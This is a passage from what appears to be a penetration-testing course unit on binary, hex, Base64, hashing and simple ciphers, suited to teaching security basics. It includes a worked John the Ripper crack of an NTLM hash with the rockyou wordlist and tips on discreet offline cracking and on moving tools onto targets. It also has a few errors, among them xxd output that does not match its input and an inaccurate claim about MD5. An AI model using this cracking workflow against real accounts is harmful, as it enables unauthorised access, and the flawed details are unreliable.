128-bit digest. Although MD5 was initially designed to be used as
a cryptographic hash function, it has been found to suffer from
extensive vulnerabilities. It can still be used as a checksum to
verify data integrity.
Nibble: Four bits of binary data. There are 16 (2^4) potential
values.
Plain text: Human-legible text. Can be transformed into cipher
text via an encryption algorithm.
Salt: A string appended to a password to create a unique
digest when run through a hashing algorithm.
Stream Cipher: An encryption algorithm that operates on one bit
of plaintext at a time. Contrast with Block Cipher.
Symmetric-key encryption: Model of encryption that uses the same
shared key for both encryption and decryption.
This Learning Unit covers the following Learning Objectives:
Encoding is a means of converting data. There are a great number of
contexts for encoding. Data may be converted into another format in
order to transmit it, store it, or compress it. Encoding might also
be used to describe a data structure or format, for example a file
format. Algorithms can encode and decode this data without any sort of
key.
It is critical to understand that encoding is not encryption.
As long as someone can determine the rules that were applied to
the original data, they can easily reverse the encoding without any
special knowledge, like passwords or secret keys. For this reason,
encoding should never be used in a situation where the security and
confidentiality of data is critically important.
Arguably the most prevalent encoding in electronics is binary
encoding. It consists of only two basic components and can be
represented by any two values. They might be an ON and OFF state, a
clockwise or counter-clockwise spin, or simply the numbers 1 and 0.
The numbers 1 and 0 are the bedrock of modern computing, and while we
don't have to "speak" binary to use computers, as information
technology professionals, we should be familiar with the basics.
The smallest possible data unit is called a bit, and each bit is
either a binary 0 or 1. For future reference, we'll quickly note that
a group of four bits are called a nibble and a group of eight bits
is called a byte.
Note that executable program files are sometimes called "binary
files" or "binaries" as well, but in this brief section, we're
limiting our discussion to encoding.
Binary encoding allows us to use only a sequence of 0s and 1s to
represent far more complex data. Since computer processors operate
with binary numbers, let's begin our study of encoding by converting
to and from binary numbers.
The base-10 number system we're most familiar with is called
decimal. It has 10 digits, starting from 0 through 9. Let's practice
a bit of encoding by converting numbers between decimal into binary,
which is simply a base-2 number system.
Most Linux distributions include the bc[576] program, which
is a calculator. This calculator can also convert numbers between
different bases. We'll use it to convert a decimal number to binary
using bc on linux.
The obase command stands for "output base". We'll choose
2 for binary. The decimal number that we'll input is
7. bc will display the given number (7) in the
output base (2, or binary).
kali@kali:~$ echo "obase = 2 ; 7" | bc
111
Listing 1 - converting decimal 7 to binary with bc
The decimal number 7 is represented as 111 in binary.
We can use ibase when the input is in a base other than
decimal. Let's convert the binary number 111 back to a decimal format.
kali@kali:~$ echo "ibase = 2 ; 111" | bc
7
Listing 2 - Converting binary 111 to decimal with bc
Let's make sure we understand why 111 in binary is equivalent to 7
in decimal. To do this, we can start counting upwards in both systems
beginning with 0.
| Decimal | Binary |
|---|---|
| 0 | 0 |
| 1 | 1 |
| 2 | 10 |
| 3 | 11 |
| 4 | 100 |
| 5 | 101 |
| 6 | 110 |
| 7 | 111 |
Table 1 - Decimal to binary conversion table
On a Windows machine, we can use the calculator application. In older
versions, the base conversion functionality is in the scientific mode,
but more recent versions have a programmer mode. macOS also has
a calculator application with number conversion functionality under
View > Programmer.
Encoding the decimal 7 into binary 111 is a rather trivial example,
but we can't overstate how important binary encoding will become
later. This will be especially true when we begin to deal with more
complex information security subjects, such as reverse engineering for
example. Understanding how a single bit value change can affect an
entire software application may be the difference between success and
failure for some important security activities.
As critical as binary encoding is, it can be difficult to read a long
string of 0s and 1s. One of the things that can make it a bit easier
to understand is representing binary-encoded data using hexadecimal,
or base-16, numbers.
Our familiar base-10 decimal system has ten digits: 0 through 9. To
get higher numbers, we add an additional digit to the left and begin
counting again. For example:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, ...
Listing 3 - Base 10 digits
As we've seen, the base-2 binary system has two digits: 0 and 1.
Just as with the decimal system, we count until the highest allowed
numeral (in this case, 1), and then insert an additional digit to the left.
0, 1, 10, 11, 100, 101, 111 ...
Listing 4 - Base 2 digits
We can extend this pattern to any arbitrary base and build number
a system from it. Base-16 also starts with 0 and counts up until 9.
However, instead of inserting the next numeral to the right, we keep
counting using the first six letters of the Latin alphabet:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, 10, 11, 12, 13...
Listing 5 - Base 16 digits
Since hexadecimal appears similar to regular decimal numbers at times,
we often differentiate it by adding the prefix "0x".
0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ...
Listing 6 - Hexadecimal representation
We can be similarly precise with binary by using the prefix "0b", as in 0b11
and 0b110.
The useful thing about hexadecimal is that it is both machine-
and human-readable. It is legible for humans because extending our
familiar number system with a few extra values is relatively intuitive
once we get used to the idea. It's also easier for machines to
process, because 16 is a power of 2, whereas 10 is not.
We can represent one numeral of a hexadecimal number, sometimes
called a "hex", with just four binary bits. Let's add to our
decimal-to-binary conversion chart from earlier:
| Decimal | Binary | Hexadecimal |
|---|---|---|
| 0 | 0b0 | 0x0 |
| 1 | 0b1 | 0x1 |
| 2 | 0b10 | 0x2 |
| 3 | 0b11 | 0x3 |
| 4 | 0b100 | 0x4 |
| 5 | 0b101 | 0x5 |
| 6 | 0b110 | 0x6 |
| 7 | 0b111 | 0x7 |
| 8 | 0b1000 | 0x8 |
| 9 | 0b1001 | 0x9 |
| 10 | 0b1010 | 0xa |
| 11 | 0b1011 | 0xb |
| 12 | 0b1100 | 0xc |
| 13 | 0b1101 | 0xd |
| 14 | 0b1110 | 0xe |
| 15 | 0b1111 | 0xf |
Table 2 - Decimal, binary and hexadecimal conversion chart
Notice how we need four bits of binary to account for the full range
of hexidecimal numerals. This means a byte, which is eight binary
bits of data, includes exactly two hexadecimal numerals. For example,
we might read "Ox42", which is the hexadecimal representation of the
decimal number 66. The highest number we can fit into a single byte is
0b11111111, 0xff, or decimal 255.
Here that powers of 2 make their appearance again. 255
is (2^8)-1, but since we begin counting with 0, we can fit 256 values
into one byte.
Now that we understand the basics of the hexidecimal number system,
let's consider some applications. Compiled executable files often
contain values that cannot be represented using traditional basic
alphabet characters. However, we can represent those values as
hex-encoded, and with practice we can quickly get used to recognizing
whether we are observing at a character that can be printed or not.
Hexadecimal encoding is also critical for understanding memory
addresses. Any time we are talking about memory addresses, whether
we are developing an exploit or perhaps trying to perform a forensic
investigation, we always use hex-encoded addresses.
Most Linux distributions include the xxd[577]^,[578] tool by
default. This tool can be used to view file contents in hexadecimal or
binary.
Let's create a file called test.txt that contains the string
"offsec". Next, we'll view the hex-encoded representation
of our text file. We can use the -l flag along with the
length in bytes we want to view.
kali@kali:~$ echo "offsec" > test.txt
kali@kali:~$ xxd -l 16 test.txt
00000000: 6f66 6665 6e73 6976 6520 7365 6375 7269 offensive securi
Listing 7 - using xxd on a text file
Each character represents one byte, so when we specify a length of 16,
we only get the first 16 bytes as output. The -o flag can be
used to specify an offset.
kali@kali:~$ xxd -l 16 -o 4 test.txt
00000004: 6f66 6665 6e73 6976 6520 7365 6375 7269 offensive securi
Listing 8 - using xxd on a text file with offset
This can be helpful when dealing with memory addresses, something both
defenders and attackers may find valuable.
There are many uses for hexadecimal encoding and understanding how it
works can be very useful in an information security career.
American Standard Code for Information Interchange
(ASCII)[579] is a type of encoding used to store and process
both printable and non-printable characters. It is the default
encoding scheme for most text in modern computing. Most text and
binary files will be encoded with ASCII.
In ASCII every character is represented with a 7-bit binary number, a
string of seven 0s or 1s. ASCII contains encoding for all the
alphanumeric characters and symbols on a modern keyboard, as well as
encoding for things like TABs, Line Feeds, and even Backspaces.
This Learning Unit covers the following Learning Objectives:
Unicode[580] is a standard that provides a number, or unique
code point, for each character. Another way to say this is that each
character is mapped to a unique value.
Unicode includes numbers and characters from the familiar Latin
alphabet, for example, U+0041 for the Latin uppercase letter "A".
There are also Unicode numbers for each character in, for example,
the Cyrillic, Thai, and Hangul alphabets. In total, there are over
a million (a total of 1,112,064) mapped visible and non-visible
characters.
Unicode Transformation Format (UTF) is a way to encode these Unicode
mappings. The most common forms of UTF are UTF-8,[581] which uses 8
bits, or 1-byte unit, and UTF-16, which uses 16 bits, or 2-byte units.
UTF-8 was designed to be backward compatible with
ASCII.[582] The first 128 characters of Unicode are
identical with ASCII characters, and UTF-8 uses a single byte with the
same binary values to represent them. For example, an uppercase "A" is
UTF-8 encoded as 41 and it is also ASCII Hex encoded as 41. This means
that valid ASCII text is also valid UTF-8 encoded Unicode.
Let's quickly check the file type of our test.txt
file from earlier and then use the iconv command to
convert[583] it to a UTF-8 encoded file.
kali@kali:~$ file test.txt
test.txt: ASCII text
kali@kali:~$ iconv -f ASCII -t UTF-8 test.txt -o test2.txt
kali@kali:~$ file test2.txt
test2.txt: ASCII text
Listing 9 - using iconv to convert ASCII to UTF-8
The results of the second file test2.txt seem confusing at
first glance. We recommend reviewing the last few paragraphs covering
UTF-8 to determine if you can understand why file still
reports that our file is encoded in ASCII after the conversion.
Base64 encoding is hugely important because it allows us to transfer
binary data over channels that can only represent text data. Imagine
needing to transfer a binary executable file electronically. We
mentioned before that binary data can consist of characters that
fall outside of the scope of a basic printable set, such as numbers,
letters, and punctuation. If the protocol we are using to transfer our
file only supports printable characters, we could have a problem.
This is where Base64 shines. It essentially converts any binary data
into an encoded sequence of printable characters, allowing us to
transfer that data over virtually any channel and protocol. Base64
gets its name from its use of 64 characters.
1-26: A to Z
27-52: a to z
53-62: 0 to 9
63: +
64: /
Listing 10 - Base64 character set
As we will learn in a moment, the "=" character might be used in the
visual representation of this encoding as well, but only at the end
of a string for padding. Note that the characters a-z and A-Z are
considered separately since Base64 is case sensitive.
Base64 works by converting every three-bytes of binary data into
four Base64 characters. Each three byte sequence is called a
block. 3x8 bytes of input produces 4x6 Base64 bytes of output.
When the input is indivisible by six, we add zeroes at the end of the
input string to pad it, so that it becomes divisible. Base64 output
will contain an "=" character if the last block of input was only two
bytes (without the added zeros). It will contain two "=" characters
if the last block of input was only one byte. Note that Base64 encoded
strings are always longer than the original text because regular
bytes have eight bits and Base64 characters usually only have six bits
of data.
From a security perspective, if we find a string that ends with an
equals (=) character, it is quite likely some data encoded with Base64.
This allows for an easy means of identification. Base64 also provides
an easy means of transferring data between two systems, simply by
copying and pasting text. This makes it ideal for moving tools onto a
target system during a penetration test, for example.
Base64 encoding can be difficult to learn in the abstract. To
understand more about it, let's observe it in action. We can do Base64
encoding from the command line by using the base64[584] command,
which is available on most Linux distributions by default.
Let's use echo -n, and then add our string to be encoded,
which is "Example text". We'll pipe that to the base64
command.
kali@kali:~$ echo "Example text" | base64
RXhhbXBsZSB0ZXh0Cg==
Listing 11 - Base64 encode example
The result, "RXhhbXBsZSB0ZXh0Cg==", is our new Base64 encoded string.
The echo command appends an invisible new line character[258-1] to the end of
the text by default. If we want to encode an exact string inside the
quotation marks, we can use the -n switch, which prevents echo from
appending the new line character.
Now let's try to go in the opposite direction and decode our new
string. To do this, we'll echo "RXhhbXBsZSB0ZXh0Cg==" to the base64
command again, but this time with the -d switch to decode
rather than encode.
kali@kali:~$ echo RXhhbXBsZSB0ZXh0Cg== | base64 -d
Example text
kali@kali:~$
Listing 12 - Base64 decode example
Note that the output, "Example text" includes a new line character,
which is why the command line prompt is on a new line. If we did
listing 11 with the -n switch, we would have
received a different result (which would not include the new line
character). Decoding that result would put our output and the command
line prompt on the same line.
kali@kali:~$ echo -n "Example text" | base64
RXhhbXBsZSB0ZXh0
kali@kali:~$ echo RXhhbXBsZSB0ZXh0 | base64 -d
Example text kali@kali:~$
Listing 11 - Base64 encoding and decoding without the new line character
On a Windows machine, we can leverage the certutil.exe[585]^,
[586] command-line application to Base64 encode and decode
files. Since certutil operates on files, we will need to begin by
placing our Base64 encoded string into a simple text file. We'll
create a file called Base64.txt.
Then we can use certutil with the -decode switch.
certutil also requires input and output filenames as parameters. We
have our input filename already, and we'll use outb64.txt for
our output filename.
c:\Users\User>echo RXhhbXBsZSB0ZXh0 > Base64.txt
c:\Users\User>certutil -decode Base64.txt outb64.txt
Input Length = 19
Output Length = 12
CertUtil: -decode command completed successfully.
c:\Users\User>type outb64.txt
Example text
c:\Users\User>
Listing 13 - Base64 decode example on Windows
When we use the type command to show the contents of our
output file, we find that we were able to successfully decode the
text.
For this set of exercises, imagine that you have found an unknown but
interesting file after gaining access to a Windows machine during a
penetration test. You need to transfer the file to your Kali machine
using tools available on the Windows box, determine the file type, and
then view the contents of the file.
This Learning Unit covers the following Learning Objectives:
Hashing[587] is a transformation of variable-sized input data to
a fixed-size hexadecimal output. This output is often called a hash,
or a digest. Perhaps the most important thing about hashing is that
it only works in one direction. It is easy to take arbitrary input
and produce a hash, but it is difficult to take a hash and produce the
original input. This property of "one-way-ness" is what makes hashing
so useful.
When we did decimal to binary encoding, we were able to quickly and
easily encode decimal 7 to binary 111. We were further able to decode
111 back to 7 without any trouble. This is not the case with hashing,
where the digest cannot be easily converted back to the original
data.
Another important property of hashing is that even the smallest change
in the input data can greatly change the resulting digest. Because
of this, hashing is often used to verify the integrity of some input
data.
Let's consider an example. If we have two very large PDF documents
and we suspect they are the same, we can try and confirm this
by opening them up side-by-side and reading sentence by sentence,
checking every word and every piece of punctuation. Alternatively, we
can simply hash both PDFs. Since any small change would result in a
different hash, we know that if the hashes are the same, the PDFs are
identical.
There are many common hashing algorithms, including MD5, SHA-1, SHA-2,
and NTLM. These algorithms often differ in the length of the digest.
It may help to begin by using the MD5 hashing algorithm and the
md5sum[588] utility to get familiar with hashing.
Note that MD5 is no longer considered secure because it has
become possible to obtain the original input due to certain flaws in
the algorithm.
One of the common applications for hashing is calculating checksums.
Checksums are used to prove the integrity of the transmitted data.
If the checksums calculated on the sender's side are the same as
the ones calculated after the data transmission, it means that the
transmitted data are intact. The most common hashing algorithms are
MD5, SHA-1, SHA-256, and SHA-512.
On most Linux distributions, the following tools are
installed automatically and can be used to calculate hashes:
md5sum,[588-1] sha1sum,[589] sha256sum,[590] and
sha512sum.[591] By default, they read text from standard
input, but we can also provide a file name as a parameter.
On Windows operating systems, we can use the built-in
certutil.exe[585-1] utility to calculate hashes of files using
various algorithms.
As an example, let's calculate the sha256 hash of a file with
certutil. To do this, we'll pass the -hashfile
parameter with a filename (file in our case) and the
sha256 hashing algorithm.
C:\Users\User> certutil -hashfile file sha256
SHA256 hash of file:
d8d934a2fe58cd41496fb61648143b3cf81edfdf5fa5e75d67104bdfb16cb5e9
CertUtil: -hashfile command completed successfully.
Listing 14 - Hashing the content of a file on Windows
Once the output of md5sum, sha1sum, sha256sum, or sha512sum is saved
to a file, we can use this file to compare the calculated hashes
against the stored ones.
kali@kali:~$ echo test1 > test1.txt
kali@kali:~$ echo test2 > test2.txt
kali@kali:~$ echo test3 > test3.txt
kali@kali:~$ sha256sum test1.txt test2.txt test3.txt > tests.sha256
kali@kali:~$ cat tests.sha256
634b027b1b69e1242d40d53e312b3b4ac7710f55be81f289b549446ef6778bee test1.txt
7d6fd7774f0d87624da6dcf16d0d3d104c3191e771fbe2f39c86aed4b2bf1a0f test2.txt
ab03c34f1ece08211fe2a8039fd6424199b3f5d7b55ff13b1134b364776c45c5 test3.txt
kali@kali:~$ sha256sum -c tests.sha256
test1.txt: OK
test2.txt: OK
test3.txt: OK
Listing 15 - Example of how to verify file hashes
In this example, we created three test files and saved their
SHA256 hashes to the file tests.sha256. Then we used
sha256sum with the -c switch to check
the on-the-fly calculated hashes of the test files with their hashes
stored within the tests.sha256 file.
This Learning Unit covers the following Learning Objectives:
An extremely important application of data hashing is password
storage. On most systems, only the hashes of passwords are stored.
If passwords are saved as they are entered by a user in plaintext,
an adversary could obtain access to them by compromising the system's
database. However, if the passwords are first hashed and then
stored, the same level of compromise would have less impact. Even
if the attacker manages to compromise the database, the passwords
themselves remain unknown. During the authentication procedure, the
system calculates the hash of the provided password and checks if the
calculated hash matches the stored digest belonging to that user.
It is important to note that despite the intended one-way nature of a
hashing algorithm, this does not guarantee that a password cannot be
recovered, given a specific hash. One method by which we could obtain
a password given a hash is by the aptly named use of brute force
techniques.
Since there is no way to reverse the hash back to its original input,
we can simply try hashing as many different passwords as possible
using the known hashing algorithm. We compare every generated hash
with the one we are trying to recover. If we find a match, we now know
the original password.
While this may sound like a futile process that could take years, some
techniques and tools can make cracking a password hash happen much
quicker, depending on the strength of the password and the hashing
algorithm. This is one of several reasons why it is important to use
strong passwords.
What do we mean by "strong passwords"? With respect to brute forcing,
a password's strength is a function of its length and its
complexity. If we want to make a password stronger, increasing
its length usually has more defensive utility than increasing
its complexity. This is because every additional character in
the password increases the time it takes to brute force it by an
exponential amount. By contrast, raising a password's allowed
character set only increases the time it takes to brute force it by a
polynomial amount.
Let's consider an example. Imagine you are trying to break a 4-digit
PIN with brute force. We can calculate the number of tries you'll
need to make by taking the character complexity raised to the power
of the number of digits that are allowed in the password. In this
case, there are ten possible values for each digit, and there are four
digits. Therefore, it will take 10^4, or 10000 tries to crack the
PIN.
Next, you wish to increase the number of tries it will take to crack
the PIN. You can do so either by increasing the number of digits
allowed in the PIN, or by allowing more possibilities per digit.
First, you try to increase the character complexity by two. You allow
the digits 0 through 9, as well as the letters A and B to be used in
the PIN. We can calculate the cost of brute forcing the new PIN as
follows: 12^4 = 20,736 possible tries.
This may seem pretty good since you have more than doubled the cost of
brute forcing the PIN. However, let's review what happens if you leave
the character complexity alone, and instead increase the number of
characters in the PIN by the same value of two. How many tries would
we need to make to crack this third PIN? 10^6, or 1,000,000. It would
take 100 times more tries to brute force the improved PIN compared to
the original, rather than merely double.
Let's spend a bit more time learning about password hashes so that we
have a better understanding of how to crack them.
On Linux distributions, password hashes are stored in the
/etc/shadow file, which can be read only with
administrative privileges. The hashes are in the following format:
"$id$salt$hash". Let’s review a few common examples.[592]
$1$: MD5-based crypt ('md5crypt')
$2$: Blowfish-based crypt ('bcrypt')[^bcrypt]
$sha1$: SHA-1-based crypt ('sha1crypt')
$5$: SHA-256-based crypt ('sha256crypt')
$6$: SHA-512-based crypt ('sha512crypt')
Listing 16 - Example password hashing functions
Password hashes typically indicate which hashing algorithm produced
it. This indicator is usually a numeric value located between the
first and the second dollar sign. We'll ignore the term salt for
now, and return to it in a later section.
On Windows operating systems, user password hashes are stored in the
Security Account Manager (SAM).[593] Entries in the SAM file are
stored in the following format: "uid:rid:lm hash:ntlm hash".
Let's examine an example hash for the password "password".
User:1001:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C:::
Listing 17 - Example password hash
LM and NTLM are two different hashing algorithms Windows has used
to store passwords. LM hashing is now obsolete and disabled in newer
versions of Windows. This is because it is significantly weaker
than NTLM, in that it only allows about 140 different characters in
its passwords, compared to NTLM's significantly more numerous 65536
(essentially, a majority of the Unicode character set). In addition,
LM converts all of its characters to uppercase, regardless of their
original case. This further limits the number of potential passwords
that can be hashed under NTLM. Because LM authentication is disabled,
the LM hash portion of modern Windows hash strings contains the hash
of an empty string (aad3b435b51404eeaad3b435b51404ee).
On most modern Windows systems, we can assume that the hash used for
authentication will be the NT hash. NT or NTLM hashes are sometimes
referred to by Microsoft and other programs as the NTHash.
Several ways to identify the type of a given hash.
The most simple way is if we have the full password hash line.
This was the case in Listing 16, where we read the
/etc/shadow file. This was also the case in Listing
17, where we could read the Windows LM/NTLM hash pair.
Kali Linux provides tools such as hash-identifier[594]
and hashid,[595] which can help identify the types of many kinds
of hashes.
A salt is an ideally random, unique generated string. The
salt is mixed with the cleartext input (for example, appended
to it), and then the hash is calculated for the mixed
string.[596]^,[597]
Let's examine why salting is useful.
Let's imagine that we have access to a database and we can observe
the MD5 hash fd9edfb25da9042f7c56353956af97a3. We might be able to
recognize that this is the MD5 hash of the string "openup" with a
simple password cracking tool, which we will explore later. We might
even recognize it as belonging to another user account that we already
have access to.
Given a specific hashing algorithm, the same password will always
produce the same hash, unless a salt is used. An adversary that
obtains access to the hashes may be able to identify common or weak
passwords like "openup" by using tools that check for the hashes of
commonly used passwords.
Usually, the salt is saved next to the hash itself and separated with
some kind of delimiter, like a dollar sign or a colon. Salting is also
a protection against rainbow table attacks[598] since the
hash is not derived from the cleartext password only.
Let's examine salting in practice. We know that our weak password
"openup" produces the MD5 hash fd9edfb25da9042f7c56353956af97a3. If
we were to prepend a random salt to the password, we would obtain a
different hash value. For example, let's add the salt "om3b2x".
The string "om3b2x:openup" produces the MD5 hash
4cfd6c245eca0bd0af0851105a117a25. If an attacker were to obtain
this new hash by accessing the database, they would have a much
more difficult time cracking the password than if they obtained the
original.
One additional implication of salting is that a different user of
the machine could select the same password as we did, but
they would receive a different salt, and therefore a different hash.
For instance, they could receive the salt "2kab0i". "2kab0i:openup"
produces the MD5 hash e48428442da00a364084b5e40607fda3. This is an
entirely different value than our hash, even though we both chose the
same password.
Password cracking refers to a broad range of attacks that seek to
establish the password of a user or service via illegitimate means. We
can categorize password cracking based on the method used to determine
a correct password. We might try logging in to a live system or we
might already have access to the stored hash of a password. The first
context is called online cracking and the latter is called offline
cracking. The main difference is that online login attempts leave a
trace on the system, and frequent attempts can either trigger an alert
or suspend the account.
Offline password cracking is preferable because it is much more
discreet. Once we have access to a hash, we can use significant
local computation resources to try to reproduce the same hash,
either with brute force[599] attacks, or via
dictionary-based[600] attacks.
As mentioned earlier, brute force attacks will try every possible
combination of a character set for the given maximum length of a
password. In practice, we can often make this process more efficient
by making a few assumptions. For example, we might assume that the
first letter is more likely to be capitalized than other letters.
We can also prioritize attempts by favoring words that contain more
commonly used characters, and so on.
Dictionary attacks are a special form of brute force. A dictionary in
this case is a list of words that can be tried as passwords. In this
context, a dictionary is also sometimes called a wordlist.
One dictionary that is quite common is called "rockyou". In 2009, a
company called RockYou suffered a breach. This data breach included
all of their passwords, which had been stored in plain text, and the
complete list of passwords later became public. Since it contains a
huge number of common passwords, it's a popular tool for dictionary
attacks. Due to its size, Kali Linux contains this list in a
compressed format at /usr/share/wordlists/rockyou.txt.gz.
John the Ripper[601] is a command-line-based password cracking
tool. Let's explore at how we can use John to crack a password by
using the rockyou wordlist.
We will begin by copying the rockyou.txt.gz compressed
gzip file to the home directory, then decompressing it with the
gunzip command. Once we've done that, we'll place an example
hash into a file, called ntlm.hash, then we'll use John the
Ripper to crack the password.
kali@kali:~$ cp /usr/share/wordlists/rockyou.txt.gz .; gunzip rockyou.txt.gz
kali@kali:~$ echo "User:1001:aad3b435b51404eeaad3b435b51404ee:4056DA565EFF865C23687B2D1CEF8242:::" > ntlm.hash
kali@kali:~$ /usr/sbin/john -wordlist=rockyou.txt ntlm.hash
Created directory: /home/kali/.john
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 1 password hash (LM [DES 256/256 AVX2])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(User)
1g 0:00:00:00 DONE (2021-03-08 09:48) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..MUSTANG
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
Listing 18 - Example cracking an LM password
Since the format of NTLM and LM hashes are identical, John isn't able
to immediately tell which kind of hash we supplied it. We observe
that John cracked the empty LM password; however, recall that LM is
no longer used by Windows. John also notified us that an NT hash was
recognized. We can use the --format=NT option to specify that
we want John to assume that the hash was produced by NTLM.
kali@kali:~$ /usr/sbin/john -wordlist=rockyou.txt ntlm.hash --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
user00 (User)
1g 0:00:00:00 DONE (2021-03-08 09:51) 7.692g/s 22816Kp/s 22816Kc/s 22816KC/s user7783..usefull
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
Listing 18 - Example cracking an NT hash
John the Ripper was able to crack the NT hash, and we learn that the
cleartext password is "user00".
This Learning Unit covers the following Learning Objectives:
Where hashing is often used to protect the integrity of data,
encryption is used to protect its confidentiality. As we already
know, there are numerous reasons for keeping data secure. Storing
and transmitting things like bank account information, corporate
intellectual property, and even national secrets should all warrant
the use of encryption.
For information security professionals, one of the many reasons
encryption is important is because it allows us to handle client data
securely. Security consultants often do their job while traversing
public and potentially hostile networks. Protecting client data is
absolutely critical. This is where the use of secure and encrypted
communication channels, using SSH for example, comes in handy.
There are two main types of encryption mechanisms: symmetric-key and
asymmetric-key encryption.
First, we must understand the concept of a cryptographic key. Like a
physical key, a cryptographic key is (usually) a unique entity that
pairs with a specific thing that will be opened or unlocked. Keys
generally have the property of being hard to replicate. Unless you
are a talented locksmith, you will be unable to recreate an adequate
copy of a key (assuming you do not have the original key in your
possession). This is the case even if you know the exact model and
specifications of the lock you hope to open.
In cryptography, a key is a string of unique characters. When it is
applied along with a cryptographic algorithm to a message, it can be
used to encrypt or decrypt the message.
Symmetric-key algorithms[602] use the same key
for encrypting the plaintext (also sometimes called cleartext) into
ciphertext and for decrypting the ciphertext back into plaintext.
As one can imagine, a critical part of this mechanism is that the
encryption key must remain secret. Despite this, it must somehow
be shared between (at least) two agents who would like to exchange
information together securely.
If this key were to become public, anyone with the key could decrypt
the information that was exchanged between the intended parties.
This makes symmetric-key encryption entirely dependent on continued
maintenance of the key's secrecy. One way to think about this is that
symmetric-key encryption raises our concern about confidentiality
one level up. Instead of worrying over the secure transmission of
data itself, symmetric-key encryption would have us worry over the
transmission of the key instead. Therefore, symmetric-key encryption
isn't a complete solution to data confidentiality. We will notice that
it is still valuable for certain use cases, although it appears to
merely shift the problem rather than solve it.
Sometimes the term "passphrase" is used as a synonym for "key".
"Passphrase" can also be used to refer to a password that protects a
given key.
An example of a symmetric-key encryption algorithm is a so-called
Caesar cipher,[603] named after the Roman general Julius Caesar.
A Caesar cipher for the English alphabet can be implemented by picking
any number between 1 and 25, as well as a direction (left or right).
The number plus the direction are combined and used as an extremely
primitive and weak symmetric key. Once the key is determined, we
can encrypt any English message by shifting every character in the
message by the value of the key.
For example, say that we decide to use a key of 5-right, and wish to
encrypt the message "Try Harder".
Once we apply the chosen key to this message, we would get the
ciphertext "Ywd Mfwijw".
Every letter in the phrase has been shifted forward by 5. This may be
easiest to understand by comparing the letter "a" to the letter "f".
To decrypt the message, we would simply apply the key in the opposite
direction, shifting every character of the ciphertext backward by 5.
Note that our cipher does nothing to hide or obfuscate the use of
uppercase characters.
Caesar-ciphers keys like this one are often identified with the "ROT"
prefix, because they rotate each letter by N places in the alphabet.
The above example uses the ROT5 key. ROT13[604] is a particularly
popular cipher since the English alphabet is composed of 26 letters.
When a given letter is encrypted with ROT13, it gets replaced with the
13th letter after it in the alphabet. Since 13 is halfway through 26,
we no longer need to care about the direction of the cipher: shifting
a character either forward or backward will produce the same output.
Therefore, both encryption and decryption can be done by shifting in
either direction.
Even though Caesar-ciphers (as well as the more general
class of substitution ciphers) are considered quite weak, they are
accurately classified as encryption methods rather than encoding
methods. An encoding algorithm requires only some fixed transformation
of data, but it makes no effort to stop its output from being
reversed. Encryption algorithms, on the other hand, are intended to
be one-way functions: ideally, unless the encryption key is known,
ciphertext should be difficult to reverse back into plaintext.
Encoding's purpose is to transform and preserve data, while
encryption's purpose is to keep it secret.
To reproduce ROT13, we can use the built-in tr[605] command on Kali
Linux. Tr can translate letters based on the provided parameters. The
command below provides ROT13 functionality.
tr 'A-Za-z' 'N-ZA-Mn-za-m'
Listing 19 - ROT13 implementation with tr linux utility
This command translates alphabet letters between A through Z, and a
through z to the corresponding characters between N Through M and n
through m.
Let's check out a quick and simple example of ROT13 encryption.
kali@kali:~$ echo text to encrypt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
grkg gb rapelcg
Listing 20 - ROT13 encode with tr command
In the example above, we piped the output of the echo
command, which was the string "text to encrypt" to tr. Let's
do the same encryption again, this time using the output we received
as a result of the encryption.
kali@kali:~$ echo grkg gb rapelcg | tr 'A-Za-z' 'N-ZA-Mn-za-m'
text to encrypt
Listing 21 - ROT13 decode with tr command
In the example above, we used the same tr command to decode the
encoded string.
Another simple encryption cipher is the XOR cipher.[606] It is
arguably equally popular and only slightly stronger than substitution
ciphers. It is a symmetric-key algorithm based on the bitwise XOR
operation. Depending on the input plaintext and the key, the output
ciphertext might fall outside of the alphabet character set. In those
cases, characters are represented in hexadecimal format.
XOR ciphers are sometimes used in malicious software to
prevent an analyst from easily deciphering what the application is
doing. By XOR-ing machine instructions, a hacker can try to make it
more difficult to do static analysis of a malicious application, since
the encrypted data will not represent valid machine instructions.
Let's review a very simple XOR example using Python.
#!/usr/bin/python3
from itertools import cycle
key = 'K'
message = 'text to encrypt'
cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(message, cycle(key)))
print(cryptedMessage)
print(cryptedMessage.encode())
plaintext = ''.join(chr(ord(c)^ord(k)) for c,k in zip(cryptedMessage, cycle(key)))
print(plaintext)
Listing 22 - Example XOR cipher implementation in Python
In the example implementation, we define key and message variables.
Message is the cleartext. CryptedMessage is the XOR encrypted
message. Each character of the cleartext message is XOR'd with each
character of the key. Ideally, the key should be at least as long as
the message. If it's not long enough, the key will be used multiple
times, which could make the cryptedMessage vulnerable to something
called frequency analysis.
Frequency analysis is the study of how often a particular character
or pattern of characters arises in a given ciphertext. Since languages
tend to abide by certain patterns (for example, the most common
letter in the English language is "e"), an attacker with sufficient
ciphertext may be able to crack a cipher simply by observing such
patterns.
Next, we print the raw value of the cryptedMessage variable and its
byte array version by using the encode method.
Finally, we XOR cryptedMessage with the same key, and store the
result in the plaintext variable. The output shows that the value
of the plaintext variable is identical to the content of the message
variable.
Now that we have a basic understanding of symmetric key encryption,
we can review some of the common algorithms in use today. Please note,
the mathematical details of these algorithms are significantly beyond
the scope of this Learning Unit. What is important to understand
is how these functions work at a high level, and what they can (and
cannot) be used for.
The Blowfish cipher was created by cryptographer and security expert
Bruce Schneier in 1993. It is a block cipher, meaning that it
